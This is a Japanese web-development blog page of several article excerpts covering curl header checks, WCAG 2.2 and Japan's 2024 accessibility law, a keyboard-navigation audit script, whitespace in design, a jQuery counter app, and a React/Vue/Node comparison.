text/html; charset=utf-8 vary: Cookie cache-control: no-cache, must-revalidate curl -D - -o /dev/null（GET）のとき HTTP/2 200 content-type: text/html; charset=utf-8 vary: Cookie vary: Accept-Encoding cache-control: no-cache, must-revalidate content-encoding: gzip HEADでは content-encoding の行そのものが存在せず、vary: Accept-Encoding も出ていません。GETにすると両方出ます。HEADだけを見て「圧縮されていない」と判定すると、実際には効いているサーバーを不合格にしてしまいます。この記事のコマンドが -D - -o /dev/null という書き方をしているのは、GETのまま本文だけ捨てるためです。 ブラウザの開発者ツールを判定の基準にしない 開発者ツールのネットワークパネルでも同じヘッダーは見えます。ただし判定の基準にするならcurlの方が安全です。 ### [Webアクセシビリティの基本｜WCAG 2.2と2024年法改正への対応](https://codequest.work/web-accessibility-basics/) 「アクセシビリティ対応はやったほうがいいらしい」——そこで止まっている制作者は多いはずです。ところが2024年4月、事業者にとってアクセシビリティは「やったほうがいい」から一段進んだ位置づけに変わりました。この記事では、日本の制作現場でいま何が求められているのかを法制度から整理したうえで、今日から手を動かせる改善手順とその検証方法までをまとめます。 Webアクセシビリティとは、障害の有無・年齢・利用環境にかかわらず、すべての人がWebコンテンツを認識し、操作し、理解できる状態にすることです。国際的にはW3Cが策定するWCAG（Web Content Accessibility Guidelines）、日本国内ではJIS X 8341-3:2016が判断の基準になります。 Webアクセシビリティが「努力目標」で終わらなくなった理由 2024年4月1日に改正障害者差別解消法が施行され、事業者による「合理的配慮の提供」が努力義務から法的義務に変わりました。国や自治体だけでなく、個人事業主やNPOを含むすべての民間事業者が対象です。 2024年4月、合理的配慮の提供が事業者にも義務化された 根拠は「障害を理由とする差別の解消の推進に関する法律の一部を改正する法律（令和3年法律第56号）」です。内閣府は同法について、令和3年5月に改正され令和6年4月1日に施行されたと公表しています。改正前は行政機関等が義務・事業者は努力義務という二段構えでしたが、改正によってこの区別がなくなりました。 ここで制作者が押さえるべきなのは、「Webサイトを WCAG 準拠にせよ」と条文が命じているわけではないという点です。義務化されたのはあくまで「合理的配慮の提供」であり、Webサイトの作り込みはその前提となる「環境の整備」に位置づけられます。この2つを混同すると、要件定義でクライアントに誤った説明をしてしまいます。 混同しやすい「合理的配慮」と「環境の整備」 両者は目的が地続きですが、法的な強制力と対応のタイミングが異なります。 観点合理的配慮の提供環境の整備法的な位置づけ義務（2024年4月〜）努力義務対応のきっかけ本人からの意思表明があったとき不特定多数に向けて事前に対応の性質個別・その場の調整あらかじめの仕組みづくりWebでの具体例問い合わせを受けて情報を電話や別形式で提供するサイト自体をWCAG準拠で構築しておく つまりアクセシブルなサイトを最初から作っておくことは、個別対応というコストが発生する場面そのものを減らす投資です。環境の整備が進んでいるほど、合理的配慮として求められる対応は軽くなります。 では、対応しないと罰則があるのか 民間事業者のWebサイトについて、アクセシビリティ基準を満たさないこと自体を直接罰する規定はありません。ただし「罰則がない＝リスクがない」ではない点に注意してください。事業者が合理的配慮の提供を怠っている場合、主務大臣による報告徴収・助言・指導・勧告の対象になり得ます。加えて、行政機関や大企業の調達要件ではJIS X 8341-3:2016 のレベルAA準拠が発注条件として明記されるケースが一般化しており、非対応は受注機会の損失に直結します。 行政官や事業者向けの入門資料としては、デジタル庁のウェブアクセシビリティ導入ガイドブックが公開されています。クライアントに社内説明してもらう際の資料としても使いやすい内容です。 基準はWCAG 2.2とJIS X 8341-3:2016の2本立て 実務で参照する基準は2つです。国際標準がWCAG、日本国内の規格がJIS X 8341-3:2016で、後者は前者の古いバージョンと内容が一致しています。どちらか一方を選ぶのではなく、両者の関係を理解して使い分けます。 WCAG 2.2 — 最新の国際標準 WCAG 2.2 は2023年10月5日にW3C勧告となり、その後2024年12月12日付の改訂版が現行の勧告として公開されています。WCAG 2.1に9つの達成基準が追加され、特にロービジョン・認知障害・タッチ操作に関する項目が強化されました。日本語訳はWAIC（ウェブアクセシビリティ基盤委員会）がWCAG 2.2 日本語訳として公開しています。 WCAGは4つの原則（知覚可能・操作可能・理解可能・堅牢）の下に達成基準が並ぶ構造です。この4原則は頭文字を取ってPOURと呼ばれ、個別のチェック項目を暗記するより、この4つのどれに関わる問題なのかで切り分けたほうが実務では速く判断できます。 JIS X 8341-3:2016 — WCAG 2.0の一致規格 正式名称は「高齢者・障害者等配慮設計指針－情報通信における機器，ソフトウェア及びサービス－第3部：ウェブコンテンツ」です。WAICの解説によれば、JIS X 8341-3:2016 は ISO/IEC 40500:2012（＝WCAG 2.0）の一致規格であり、規格本文はWCAG 2.0と同じ内容になっています。2010年版に存在した日本独自の要求事項は、2016年改正で参考附属書へ移されました。 ここから導かれる実務上の結論はシンプルです。WCAG 2.2に沿って作れば、JIS X 8341-3:2016（＝WCAG 2.0）の要求は自動的に満たされます。WCAG 2.2はWCAG 2.0の上位互換だからです。公共系案件で「JIS準拠」を求められた場合も、実装の指針としてはWCAG 2.2を見ておけば足ります。 レベルA・AA・AAAの違いと、目指すべき水準 WCAGの達成基準には3段階の適合レベルがあります。実務で目標にするのはレベルAAです。 レベル位置づけ実務での扱いA満たさないと利用自体が不可能になる最低ライン必須。ここを落とすと使えない人が出るAA多くの利用者にとって大きな障壁を取り除く水準事実上の標準目標。調達要件もここが基準AAA特定の利用者に対する最大限の配慮サイト全体での達成は現実的でなく、W3Cも全体適合を要求していない 目標を「AAA準拠」に置くと、コントラスト比7:1などの厳しい要求でデザインの自由度が大きく削られます。まずはAAを全ページで確実に満たし、余力のある箇所だけAAAの項目を取り込むという進め方が現実的です。 いま実装できるアクセシビリティ改善6ステップ ここからは実装です。費用対効果が高い順に6ステップで並べました。この6つを潰すだけで、レベルAAで問題になりやすい箇所の大半をカバーできます。 ステップ1. 画像に「文脈に合った」代替テキストを付ける alt属性はスクリーンリーダーが画像の内容を読み上げるための情報です。重要なのは「画像に何が写っているか」ではなく「その画像がその文脈で果たしている役割」を書くことです。同じ画像でも、置かれる場所によって適切なaltは変わります。 <!-- 悪い例：ファイル名や冗長な接頭辞 --> <img src="chart.png" alt="chart.png"> <img src="chart.png" alt="画像：グラフの写真"> <!-- 良い例：その画像が伝えている情報を書く --> <img src="chart.png" alt="2024年度の問い合わせ件数は前年比で約1.5倍に増加"> <!-- 装飾目的の画像は空のaltで読み上げ対象から外す --> <img src="divider.svg" alt=""> <!-- リンクを画像だけで構成する場合、altがリンクテキストの代わりになる --> <a href="/contact/"><img src="btn-contact.png" alt="お問い合わせフォームへ"></a> 装飾画像に alt="" を指定するのは「手抜き」ではなく正しい対応です。意味を持たない画像を読み上げさせると、かえって情報がノイズで埋もれます。逆にalt属性そのものを書き忘れると、スクリーンリーダーはファイル名を読み上げてしまうため、「空のalt」と「altなし」はまったく別物として扱ってください。 ステップ2. コントラスト比を確保する（4.5:1と3:1の使い分け） コントラスト比は主にロービジョン（弱視）の利用者への配慮です。色覚特性への配慮とは別の達成基準なので、混同しないでください。WCAG 2.2の達成基準1.4.3「Contrast (Minimum)」はレベルAAで、通常のテキストに4.5:1以上、大きなテキストには3:1以上を求めています。 対象必要な比率達成基準通常のテキスト4.5:1 以上1.4.3（AA）大きなテキスト（18pt以上、または14pt以上の太字）3:1 以上1.4.3（AA）UIコンポーネントの境界・アイコンなど文字以外3:1 以上1.4.11（AA）より高い水準を目指す場合の通常テキスト7:1 以上1.4.6（AAA） 見落とされがちなのが表の3行目、1.4.11「Non-text Contrast」です。入力フォームの枠線、トグルスイッチ、グラフの区切り線といった「文字ではないが意味を持つ要素」も3:1以上が必要になります。薄いグレーの1px枠線は、この基準でほぼ確実に落ちます。 配色を検討する段階でコントラストを確認しておくと手戻りが減ります。写真からパレットを起こす場合は画像・写真からWEBデザイン用カラーパレットを自動生成できるツール、色名や由来から色を選びたい場合は日本の伝統色とCSS名前付き色を引ける色の辞書が使えます。 ステップ3. 色だけで情報を伝えない こちらが色覚特性への配慮にあたる項目で、達成基準1.4.1「Use of Color」（レベルA）です。レベルAなので、コントラスト比より優先度が高いと考えてください。 フォームのエラーを赤字だけで示す → アイコンとエラー文言を併記する 必須項目を赤い色だけで示す → 「必須」というラベルを添える グラフの系列を色だけで区別する → 線種・パターン・直接ラベルを併用する 本文中のリンクを色の違いだけで示す → 下線を残す、または3:1以上の輝度差を確保する 判定方法は簡単で、グレースケールにしても情報が伝わるかを確認するだけです。デザインカンプの段階で一度モノクロにしてみると、色に依存した表現が一目で洗い出せます。 ステップ4. キーボードだけで最後まで操作できるようにする マウスが使えない利用者、スクリーンリーダー利用者、そして単に効率を求める人がキーボード操作に依存します。達成基準2.1.1「Keyboard」はレベルAです。 最も効果が大きい対策はネイティブのHTML要素を使うことです。<button> や <a href> は最初からキーボードで到達・実行できますが、<div> にクリックイベントを付けただけの疑似ボタンはフォーカスも受け取れず、Enterでも動きません。 <!-- 悪い例：キーボードで到達も実行もできない --> <div class="btn" onclick="submitForm()">送信</div> <!-- 良い例：ネイティブ要素なら何もしなくてもキーボードで動く --> <button type="submit" class="btn">送信</button> <!-- ページ先頭にスキップリンクを置き、繰り返しナビを飛ばせるようにする --> <a href="#main" class="skip-link">本文へスキップ</a> あわせて注意したいのがタブ順序です。CSSで見た目の並びを入れ替えると、DOM順とフォーカス移動の順序がずれて「画面を行ったり来たりする」挙動になります。tabindex に正の値を指定して順序を無理やり制御するのも避けてください。 ### [ナビゲーションの合否をキーボードで出す｜到達・可視・状態の実測手順](https://codequest.work/navigation-design-and-optimization/) ナビゲーションが使えているかどうかは、マウスを置いてキーボードだけで操作すれば判定できます。Tabキーで全項目に到達できるか、いまどこにフォーカスがあるか見えるか、開いているか閉じているかと現在地が支援技術に伝わるか。この3点で落ちるナビゲーションは、見た目がどれだけ整っていても使えていません。 この記事は、ナビゲーションの作り方を最初から教える入門記事ではありません。すでに自分でナビゲーションを組んだ人が、それを検品して落ちた箇所を直すための手順書です。ブラウザのコンソールに貼るだけのスクリプトを3本用意しました。自分のサイトを開いて貼れば、その場で合否が出ます。 掲載しているコードとスクリプトは、すべて実ブラウザ（Playwright 1.62.1 + Chromium・macOS・ビューポート 320 / 390 / 1200px）で動かし、この記事に書いた数値がそのまま出ることを2026年8月2日に確認しています。動かない状態のコードは載せていません。 ナビゲーションの合否は「到達・可視・状態」の3つで出る ナビゲーションの検品とは、キーボード操作で次の3つが成立しているかを確かめる作業のことです。3つのうち1つでも落ちていれば、そのナビゲーションはマウスを使わない利用者にとって機能していません。逆にいえば、この3つが通っていれば、配色やアニメーションの好みとは無関係に「操作できるナビゲーション」だと言い切れます。 検査合格ライン落ちると起きること到達Tabでナビ内の全項目に到達でき、画面外の要素にフォーカスが入らないフォーカスが見えないまま何度もTabを押す羽目になる可視フォーカス中の項目に枠が出て、背景との比が3:1以上いま何を選んでいるのか分からなくなる状態開閉ボタンの状態と現在ページが属性で伝わる開いたのか閉じたのか、いまどこにいるのかが読み上げられない なぜこの3つなのか この3つは筆者が思いついた区分ではなく、WCAG 2.2の達成基準をナビゲーションに当てはめて整理したものです。到達はSC 2.4.3 Focus Order（レベルA）、可視はSC 2.4.7 Focus Visible（レベルAA）とSC 1.4.11 Non-text Contrast（レベルAA）、状態は支援技術への情報提供にあたります。原文はいずれもW3Cが公開しています。 SC 2.4.3 Focus Order（レベルA）は「If a web page can be navigated sequentially and the navigation sequences affect meaning or operation, focusable components receive focus in an order that preserves meaning and operability.」、SC 2.4.7 Focus Visible（レベルAA）は「Any keyboard operable user interface has a mode of operation where the keyboard focus indicator is visible.」と定めています。出典は W3C「Understanding SC 2.4.3 Focus Order」および W3C「Understanding SC 2.4.7 Focus Visible」（いずれも取得日 2026-08-02）。 見た目のきれいさは判定対象に入れない ナビゲーションの記事はしばしば「シンプルにする」「ユーザーの視点で考える」といった助言で終わります。これらは反証できないため、読んだあとに自分のサイトが良いのか悪いのか判定できません。この記事は、コンソールに数値が出て合否が分かれる項目だけを扱います。配色・余白・アニメーションの良し悪しは扱いません。 ナビゲーションだけでなくUI全体を数値で検品したい場合は、タップ領域とコントラストを一括で測る手順を別にまとめてあります。この記事はそのうち「キーボードで操作できるか」だけを深掘りする位置づけです。なぜアクセシビリティに取り組むのかという法令・規格の側から知りたい場合は、WCAGとJISの体系をまとめた記事が入口になります。 マウスで確認しても、壊れていることは分からない マウスはhoverとclickしか使いません。フォーカスの順番も、フォーカスの見え方も、状態が支援技術に伝わっているかも、マウスでは一度も通らない経路です。だから開発中にマウスで何度クリックしても、キーボード操作が壊れていることには気づけません。 開閉メニューを作った瞬間に壊れる 素のリンクを並べただけのナビゲーションは、何もしなくてもTabキーで移動できます。壊れるのは「開閉するメニュー」を作った瞬間です。ハンバーガーメニュー、ドロップダウン、モバイル用のドロワー。閉じている状態を作った途端に、次の3つが同時に発生します。 閉じているはずのメニューがフォーカス順に残る。画面の外に押し出しただけでは、フォーカスは律儀にそこへ入っていきます。 開いているか閉じているかが支援技術に伝わらない。ボタンの見た目が変わっても、それは目で見える人にしか届きません。 デザインを整える過程で outline: none を書いてしまい、フォーカスの枠が消える。マウス操作では枠が出ないので、消したことに気づけません。 「隠したつもり」で隠れていない書き方がある 1番の「フォーカス順に残る」は、隠し方の選択で決まります。実際に8通りの隠し方を並べたページを作り、Tabキーを押し続けてどこに到達するかを実測しました。結果は次のとおりです（2026-08-02・Chromium・390px幅）。 隠し方フォーカス順実測display: none外れる到達しないhidden 属性外れる到達しないvisibility: hidden外れる到達しないinert 属性外れる到達しない。見えたままでも外れるtransform で画面外へ残るx座標 -272 の位置に到達left: -9999px残るx座標 -9999 の位置に到達opacity: 0残る透明なまま到達height: 0 と overflow: hidden残る潰れた状態で到達 下4つはアクセシビリティツリーにも残り続けます。同じ実測でツリーを取得したところ、上4つのリンクは1つも現れず、下4つは全て「link」として列挙されました。つまり「見えないのに読み上げられ、しかもフォーカスが入る」状態です。 アニメーション付きのドロワーを作ると transform は避けにくくなります。その場合は inert を併用します。MDNは inert を付けた要素とその子孫について「Cannot be focused」「Are hidden from assistive technologies as they are excluded from the accessibility tree」と説明しています（出典: MDN「inert」・取得日 2026-08-02）。見た目のアニメーションを保ったまま、フォーカスとアクセシビリティツリーの両方から外せます。 なお aria-hidden="true" だけを付けるのは解決になりません。フォーカスできる要素が残ったまま読み上げからだけ消えると、キーボード利用者はフォーカスが行方不明になった要素に閉じ込められます。隠すなら、フォーカス順からも外してください。 実測①：Tabで全項目に到達できるか 自分のサイトを開き、ブラウザの開発者ツールでコンソールを開いて、次のスクリプトを貼り付けて実行します。ページ上でいまフォーカス順に残っている要素を一覧にし、画面外にあるものと24px未満のものを印付きで返します。 (() => { const sel = 'a[href], button, input, select, textarea, [tabindex]:not([tabindex="-1"])'; const rows = [...document.querySelectorAll(sel)] .filter(el => el.offsetParent !== null || getComputedStyle(el).position === 'fixed') .map(el => { const r = el.getBoundingClientRect(); return { ラベル: (el.innerText || el.getAttribute('aria-label') || '').trim().slice(0, 16), 幅: Math.round(r.width), 高さ: Math.round(r.height), x: Math.round(r.left), y: Math.round(r.top), 画面外: (r.right <= 0 || r.bottom <= 0 || r.left >= innerWidth) ? 'NG' : '', 小さい: (r.width < 24 || r.height < 24) ? 'NG' : '' }; }); console.table(rows); console.log('フォーカス順に残っている要素:', rows.length + '件', '／画面外NG:', rows.filter(r => r.画面外).length + '件', '／24px未満:', rows.filter(r => r.小さい).length + '件'); })(); 出力の読み方と合否ライン 表が出力されます。見るのは末尾の2列です。 列意味NGになる条件画面外フォーカスは入るのに表示領域の外にあるスキップリンク以外で1件でも出たら不合格小さいタップ領域が24px四方を下回る間隔が詰まっている箇所で出たら要修正 実行するタイミングは2回です。メニューを閉じた状態で1回、メニューを開いた状態でもう1回。閉じた状態で「画面外NG」が出るなら、それが幽霊フォーカスです。読者はフォーカスリングが画面の外に消えたまま、何度もTabを押すことになります。 「小さい」の判定は、24px未満なら即不合格というわけではありません。SC 2.5.8 Target Size (Minimum)（レベルAA）は「The size of the target for pointer inputs is at least 24 by 24 CSS pixels, except when:」としたうえで、間隔の例外を認めています。「Undersized targets (those less than 24 by 24 CSS pixels) are positioned so that if a 24 CSS pixel diameter circle is centered on the bounding box of each, the circles do not intersect another target or the circle for another undersized target」です（出典: W3C「Understanding SC 2.5.8 Target Size (Minimum)」・取得日 2026-08-02）。つまり十分に離れていれば通ります。判断に迷うなら、素直に min-height: 44px を与えるほうが早いです。 スキップリンクだけは例外として扱う このスクリプトは、スキップリンクを「画面外NG」として拾います。スキップリンクは普段は画面外に置き、フォーカスされたときだけ画面内に現れる部品なので、これは誤検出です。 ### [Webデザインにおけるホワイトスペースの重要性と活用方法](https://codequest.work/importance-of-white-space-in-web-design/) ホワイトスペースとは何か ホワイトスペース（または余白）は、デザイン内の「空白部分」のことを指します。文字通り白いスペースだけでなく、ページ内で「何も描かれていない空間」を指し、テキスト、画像、アイコン、ボタンなどの要素の周りに設けられるスペースです。ホワイトスペースはデザインの重要な要素であり、ページ全体のバランスを取るために欠かせません。 ホワイトスペースがもたらす4つの効果 ホワイトスペースは単に「空いているスペース」ではなく、Webデザインにおいては非常に強力なツールです。以下のような効果をもたらします。 視認性と可読性が上がる 余白を効果的に使用することで、コンテンツが視覚的に整理され、読みやすくなります。テキストがぎっしり詰まったページは、ユーザーにとって圧迫感を感じさせ、読むのが億劫になります。ホワイトスペースを使うことで、各要素が明確に区別され、読み手が簡単に情報を理解できるようになります。 ユーザー体験が良くなる ホワイトスペースは、ユーザーがWebページを操作する際の心地よさに大きな影響を与えます。適切な余白が確保されていると、ページが圧迫感を与えず、ユーザーが自然に目的の情報にアクセスしやすくなります。 デザインが整って見える ホワイトスペースを適切に取り入れることで、デザインに「余裕」が生まれ、シンプルで洗練された印象を与えます。余白は、デザインに視覚的なバランスをもたらし、ページの構造が整った印象を与えるため、美しさを引き立てます。 読み手の集中が続く 余白を使用することで、ページ上の重要な要素（ボタンやCTA）にユーザーの目を引き寄せやすくなります。不要な情報や要素を排除し、ユーザーが重要な部分に集中できるようにします。 実装での活用方法 ホワイトスペースを効果的に活用するためには、次のポイントを意識しましょう。 マージンとパディングを使い分ける マージン（要素間の外部余白）とパディング（要素内の内部余白）を調整して、ページ全体のバランスを取ります。適切な余白を使うことで、コンテンツが詰め込まれすぎることなく、すっきりとしたレイアウトが実現できます。 /* 例: マージンとパディングの調整 */ .container { margin: 20px; padding: 10px; } セクション間の余白を確保する ページ内のセクションを明確に区切り、それぞれに十分な余白を確保することで、コンテンツが整然と整理されます。セクションごとの余白は、視覚的に「情報の区切り」をつけ、ユーザーがコンテンツをより簡単に理解できるようにします。 グリッドレイアウトで揃える グリッドレイアウトを使用する際には、各セル間に適切な余白を設けて、コンテンツ同士がぶつからないようにします。これにより、ページが整然とし、読みやすくなります。 /* 例: グリッドレイアウトの余白 */ .grid-container { display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px; /* 各グリッド間の余白 */ } 余白に一貫性を持たせる デザイン全体にわたって余白の規則を守ることが重要です。ページ内で不自然な空間ができることがないように、一貫した余白を設けることで、視覚的に調和のとれたデザインが完成します。 実例で見る余白の使われ方 Apple Appleのウェブサイトや製品ページでは、ホワイトスペースが巧みに使われており、製品や情報が際立っています。余白を利用して視覚的な整理がされており、ユーザーは直感的に製品の特徴を理解できます。 Google検索 Googleの検索ページも、ホワイトスペースが非常に効果的に使われている例です。シンプルなデザインと余白のバランスが、ユーザーにストレスなく検索を行わせます。 【検証】余白が足りているかを判定する 「余白は感覚」で終わらせないための判定方法です。3つとも実物のブラウザで数秒あればできます。 判定の手順と合否ライン ページを25%まで縮小して眺める。合否＝文字が読めない状態でも、情報のかたまりが視覚的に分かれて見えること。塊が判別できないなら、セクション間の余白が足りていません 見出しの上下の余白を測る（DevToolsで要素を選ぶと余白が色付きで表示されます）。合否＝上の余白が下の2倍以上あること。上下均等だと見出しがどちらの文章に属するか分かりません 使われている余白の値を数える。合否＝5種類以内に収まっていること。10種類も出てくるなら、その場しのぎで決めた値が散らばっています 1番目が最も効きます。縮小表示は「文字を読む」という処理を強制的に外せるため、レイアウトの骨格だけが見えます。余白の過不足は、この状態で一目で分かります。 不合格だった場合の直し方 症状原因次の一手縮小すると塊が判別できないセクション間の余白が本文の行間と同程度セクション間を本文行間の3〜4倍に広げる見出しがどこに属するか曖昧見出しの上下余白が均等上を下の2〜3倍にする余白の値が10種類以上ある都度目分量で決めている4px または 8px の倍数に揃え、使う値を5種類までに絞るスマホだけ窮屈左右のpaddingが固定値で足りない最低16pxを確保し、画面幅に応じて広げる 余白の値を揃える考え方は黄金比・白銀比・白金比の使い方、行間や行長の数値はタイポグラフィの基本で扱っています。カンプ前に決めるべき項目はデザインカンプ前に決めるWebデザインのルールにまとめました。 まとめ ホワイトスペースは、Webデザインにおける重要な要素であり、ユーザーの体験を向上させるために欠かせません。視認性を高め、ユーザーの集中力を引き出し、美しいデザインを作り上げるために、余白の効果的な活用方法を身につけましょう。 デザインをシンプルかつ洗練されたものにするために、余白を無駄にせず、適切に配置することが大切です。ホワイトスペースの活用は、他のデザイン要素と同じように、計画的に行うことが成功の鍵となります。 よくある質問（FAQ） Q. ホワイトスペース（余白）がデザインに重要な理由は？ ホワイトスペースはコンテンツの可読性を高め、情報の優先順位を明確にし、洗練された印象を与えます。Appleのデザインに代表されるように、余白を十分に取ることでユーザーの視線を重要な要素に集中させる効果があります。 Q. 余白の適切な量はどう決めますか？ 行間はフォントサイズの1.5〜1.8倍、段落間は行間の1.5〜2倍が目安です。セクション間はさらに広く取り、コンテンツのまとまりを視覚的に区別します。デバイスやフォントサイズに応じてレスポンシブに調整することも重要です。 Q. 余白とpaddingとmarginの使い分けは？ paddingは要素の内側の余白、marginは要素の外側の余白です。コンテンツと枠線の間にはpadding、要素同士の間隔にはmarginを使います。CSS設計では、余白の方向を統一する（例：marginは下方向のみ）ルールを決めると管理しやすくなります。 ### [カウンターアプリの作り方｜jQueryで複数カウンターを合計する](https://codequest.work/html-css-jquery-counter-app/) カウンターを1つ置いて数を増やすだけなら、jQueryでもバニラJavaScriptでも10行で終わります。手が止まるのはカウンターを何個でも増やせるようにしたときです。あとから作った要素にクリックが効かない、全角で入力された数字が合計に入らない、並べ替えを付けたらボタンが押せなくなる。増やした瞬間に、この3つが一度に出てきます。 この記事では、HTML・CSS・jQueryで名称と単価をつけたカウンターを何個でも並べ、「単価 × 数量」の合計をその場で集計するアプリを作ります。棚卸しや在庫チェック、点呼のように「種類ごとに数えて、最後に足したい」場面をそのまま形にしたものです。 完成品は カウンターアプリのデモ で触れます。先に動かしてから読むと、どのコードがどの挙動なのか対応がつきます。JavaScriptだけで小さなアプリを組み立てる流れは JavaScriptで作るミニアプリ4選 に、同じ「増やして消せるリスト」をReactで組んだ場合は Reactで作るTODOアプリ にまとめてあります。 作るもの：名称と単価をつけて、複数のカウンターを合計する 完成するアプリの機能は次のとおりです。 「カウンターを追加」でカードが1枚増える。枚数の上限はない カードごとに名称（例: りんご）と単価を入力できる ＋ / − / リセット で数量を動かし、カードごと削除もできる 画面上部にすべてのカードの「単価 × 数量」の合計が出る カードは左端のハンドルをつかんで並べ替えられる 名称は覚え書きなので合計の計算には使いません。合計に効くのは単価と数量だけです。単価を空欄のままにすれば、ただの回数カウンターとして使えます。 使うものこの記事での役割HTML土台だけを書く。カード自体は1枚もHTMLに書かず、JavaScriptで作るCSSカード型のレイアウト。数字は等幅で揃えるjQuery 3.7.1要素の生成、イベント、合計の計算。$.fn.on() と each() が主役jQuery UI 1.13.3sortable() によるドラッグ並べ替え。これだけのために読み込む HTMLの骨組み：カードは1枚も書かない 最初に決めるのは「HTMLにカードを何枚書くか」です。答えは0枚です。カードは実行時にJavaScriptで作るので、HTMLには入れ物と、追加ボタンと、合計の表示場所だけを用意します。 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>カウンターアプリ</title> <link rel="stylesheet" href="./css/style.css" /> </head> <body> <header class="header"> <h1>カウンターアプリ</h1> </header> <div class="container"> <div class="toolbar"> <button id="add-counter" type="button">カウンターを追加</button> <div id="total-container"> <span class="total-label">合計</span> <span id="total-sum">0</span> </div> </div> <!-- カードはここへ差し込まれる --> <div id="counter-list"></div> </div> <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script> <script src="https://code.jquery.com/ui/1.13.3/jquery-ui.min.js"></script> <script src="./js/script.js"></script> </body> </html> #counter-list という空の入れ物を1つ用意したことが、あとで効いてきます。カードを <body> 直下に積んでいくと、並べ替えの対象範囲にヘッダーやフッターまで含まれてしまい、意図しない要素が動きます。並べ替えたいものだけを、専用の親要素に入れておくのが要点です。 CSS：カードの形と、数字の揃え方 見た目は好みで構いませんが、2か所だけJavaScript側と関係します。カード本体の .button と、数字を表示する要素です。 /* カード1枚。JavaScript側はこの .button を数えて合計を出す */ .button { display: grid; grid-template-columns: auto minmax(0, 1fr) auto auto; align-items: center; gap: 12px 16px; padding: 16px; background: #fff; border: 1px solid #e2e8f0; border-radius: 12px; } /* 数量と単価は桁がずれると読みにくいので等幅にする */ .counter, .counter-name { font-variant-numeric: tabular-nums; } .counter { min-width: 3ch; font-size: 1.5rem; font-weight: 700; text-align: right; } /* 掴む場所。ここを限定しないとボタンが押せなくなる */ .drag-handle { cursor: grab; user-select: none; } font-variant-numeric: tabular-nums は数字の字幅を揃える指定です。カウンターのように数字が1桁ずつ変わる表示では、これが無いと 9 から 10 になった瞬間に周りのボタンごと横へずれます。 jQuery：カード1枚のふるまいを、そのカードの中に閉じ込める カードを増やす処理の本体はこれだけです。文字列でHTMLを組み立てて #counter-list の末尾に足し、そのカード専用のイベントをその場で登録する、という流れです。 $("#add-counter").on("click", function () { var $newCounter = $( '<div class="button">' + '<span class="drag-handle" aria-hidden="true">&#10287;</span>' + '<input type="text" class="counter-label" placeholder="名称（例：りんご）" aria-label="名称">' + '<div class="counter-field">' + '<label class="counter-field-label">単価</label>' + '<input type="text" class="counter-name" inputmode="numeric" placeholder="0" aria-label="単価">' + "</div>" + '<p class="counter-title">数量<span class="counter">0</span></p>' + '<div class="counter-actions">' + '<button type="button" class="increment">＋</button>' + '<button type="button" class="decrement">－</button>' + '<button type="button" class="reset">リセット</button>' + '<button type="button" class="remove">削除</button>' + "</div>" + "</div>" ); $newCounter.appendTo($list).hide().fadeIn(); addCounterEvents($newCounter); }); 単価の入力欄が type="number" ではなく type="text" なのには理由があります。number にすると全角で入力された数字はブラウザによって弾かれ、入力された文字を自分で受け取って半角へ直す処理が書けなくなります。テキストとして受け取り、キーボードだけ数字向けにする inputmode="numeric" を添えるのが、実際に日本語環境で使うときには扱いやすくなります。 そして、カード1枚分のふるまいを担当するのが addCounterEvents() です。数量を保持する変数を関数の中に置いているのがポイントです。 function addCounterEvents($counter) { // この1枚のカードだけが持つ数量。 ### [React.js・Vue.js・Node.jsの違いとは？特徴・用途・選び方を徹底比較](https://codequest.work/reactjs-vuejs-nodejs-web-apps/) 「React.jsとVue.jsはどう違う？」「Node.jsはフロントエンド？バックエンド？」――Web開発を始めると必ず出会うこの3つの技術。名前は似ていますが、役割も得意分野もまったく異なります。 本記事では、React.js・Vue.js・Node.jsの違いを「役割」「特徴」「適したアプリ」の観点で比較し、プロジェクトに最適な技術の選び方を解説します。 React.js・Vue.js・Node.jsの違い｜3つの役割を整理 まず最も重要な違いを押さえましょう。React.jsとVue.jsはフロントエンド（ブラウザ側）の技術、Node.jsはバックエンド（サーバー側）の技術です。 項目React.jsVue.jsNode.js種類UIライブラリフレームワーク実行環境役割フロントエンドフロントエンドバックエンド開発元Meta（Facebook）Evan You（個人→コミュニティ）OpenJS Foundation言語JavaScript / JSXJavaScript / SFCJavaScript学習コスト中〜高低〜中中適した規模中〜大規模小〜中規模あらゆる規模代表的な採用例Facebook, Instagram, NetflixLINE, Nintendo, GitLabPayPal, Uber, LinkedIn React.jsとVue.jsは「ユーザーが見る画面」を作る技術で、Node.jsは「データの保存・認証・API」などサーバー側の処理を担当します。つまり、React.js/Vue.jsとNode.jsは競合ではなく、組み合わせて使う関係です。 React.jsの特徴｜大規模UIに強いライブラリ React.jsは、Metaが開発したUIライブラリです。コンポーネント（部品）を組み合わせて画面を構築する設計思想で、大規模アプリケーションでも保守しやすいコードが書けます。 React.jsの強み 仮想DOM：変更があった部分だけを効率的に再描画するため、パフォーマンスが高い 豊富なエコシステム：Next.js（SSR/SSG）、React Native（モバイル）など派生技術が充実 求人数が最多：フロントエンドフレームワークの中で最も求人・案件が多い TypeScriptとの親和性：型安全な開発がしやすく、大規模チーム開発に向く React.jsが向いているアプリ シングルページアプリケーション（SPA）：ダッシュボード、管理画面 大規模なWebアプリ：ECサイト、SNS、SaaS モバイルアプリ：React Nativeでクロスプラットフォーム開発 Vue.jsの特徴｜学習コストが低く始めやすい Vue.jsは、シンプルさと柔軟性を重視したフロントエンドフレームワークです。HTMLテンプレートベースの記法で、HTML/CSS/JavaScriptの基礎があればすぐに書き始められます。 Vue.jsの強み 学習しやすい：HTMLに近い記法で、初心者でもとっつきやすい 双方向データバインディング：フォーム入力とデータの同期が簡単に書ける 段階的な導入が可能：既存のHTMLページに部分的にVueを導入できる 公式ツールが充実：Vue Router、Pinia（状態管理）、Nuxt.js（SSR）が公式サポート Vue.jsが向いているアプリ 小〜中規模のWebアプリ：ポートフォリオ、タスク管理、社内ツール プロトタイプ・MVP開発：素早く動くものを作りたい場合 既存サイトの部分的なSPA化：WordPressやRailsの一部をインタラクティブにする Node.jsの特徴｜JavaScriptでサーバー開発ができる Node.jsは、JavaScriptをサーバーサイドで実行するための環境です。React.jsやVue.jsとは異なり、画面を作るものではなく、APIの構築やデータベース接続などバックエンドの処理を担います。 Node.jsの強み 非同期I/O：大量の同時接続を効率的に処理できる（チャット、通知など） フルスタックJS：フロントエンドと同じJavaScriptで統一でき、学習コストを削減 